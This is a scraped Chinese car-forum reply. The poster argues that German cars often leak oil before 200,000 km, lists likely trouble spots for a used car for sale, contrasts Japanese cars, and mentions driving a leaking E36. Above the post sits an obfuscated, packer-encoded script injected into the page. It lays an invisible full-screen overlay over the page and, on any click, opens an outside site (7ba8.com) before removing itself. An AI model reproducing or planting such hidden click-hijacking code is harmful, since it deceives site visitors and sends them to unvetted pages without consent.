<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>大家都知道..,就算是德国车..,永久勒..,要不了20w公里渗油很正常...,不是我诋毁这个车..,买这种车..,自己不懂维护不能处理点小的问题的话..,还是不要贪便宜了..,楼主想拍我砖随便...,没说这车不好..,但是不可能没有小问题..,眼熟的这车..,估计也是有自己处理的麻烦的小毛病才想着来卖的吧~大致估计power streering问题应该是多少有点的..,气门室缸盖还有中,后差也不一定保全..,气门室缸盖看运气了..,中缸盖应该问题不大~呵呵..,而且不要太相信双B..,w221的前期的v6 3.5可是60% 以上的几率平衡轴在3年内出问题要换掉的...,新车故障率最低的不是德国车..,而是日本车..,
大家都要修...,日本的修的少..,只是..,到了20w之后..,日本车会慢慢垮掉变成废车..,德国车如果自己会保养懂些基本的维修的话还是可以开的比较舒服的...,
实话实说...,说完了...,本人现在开的就是转向机油壶和气门室缸盖以及后差渗油的e36..,没有不适..,呵呵.., |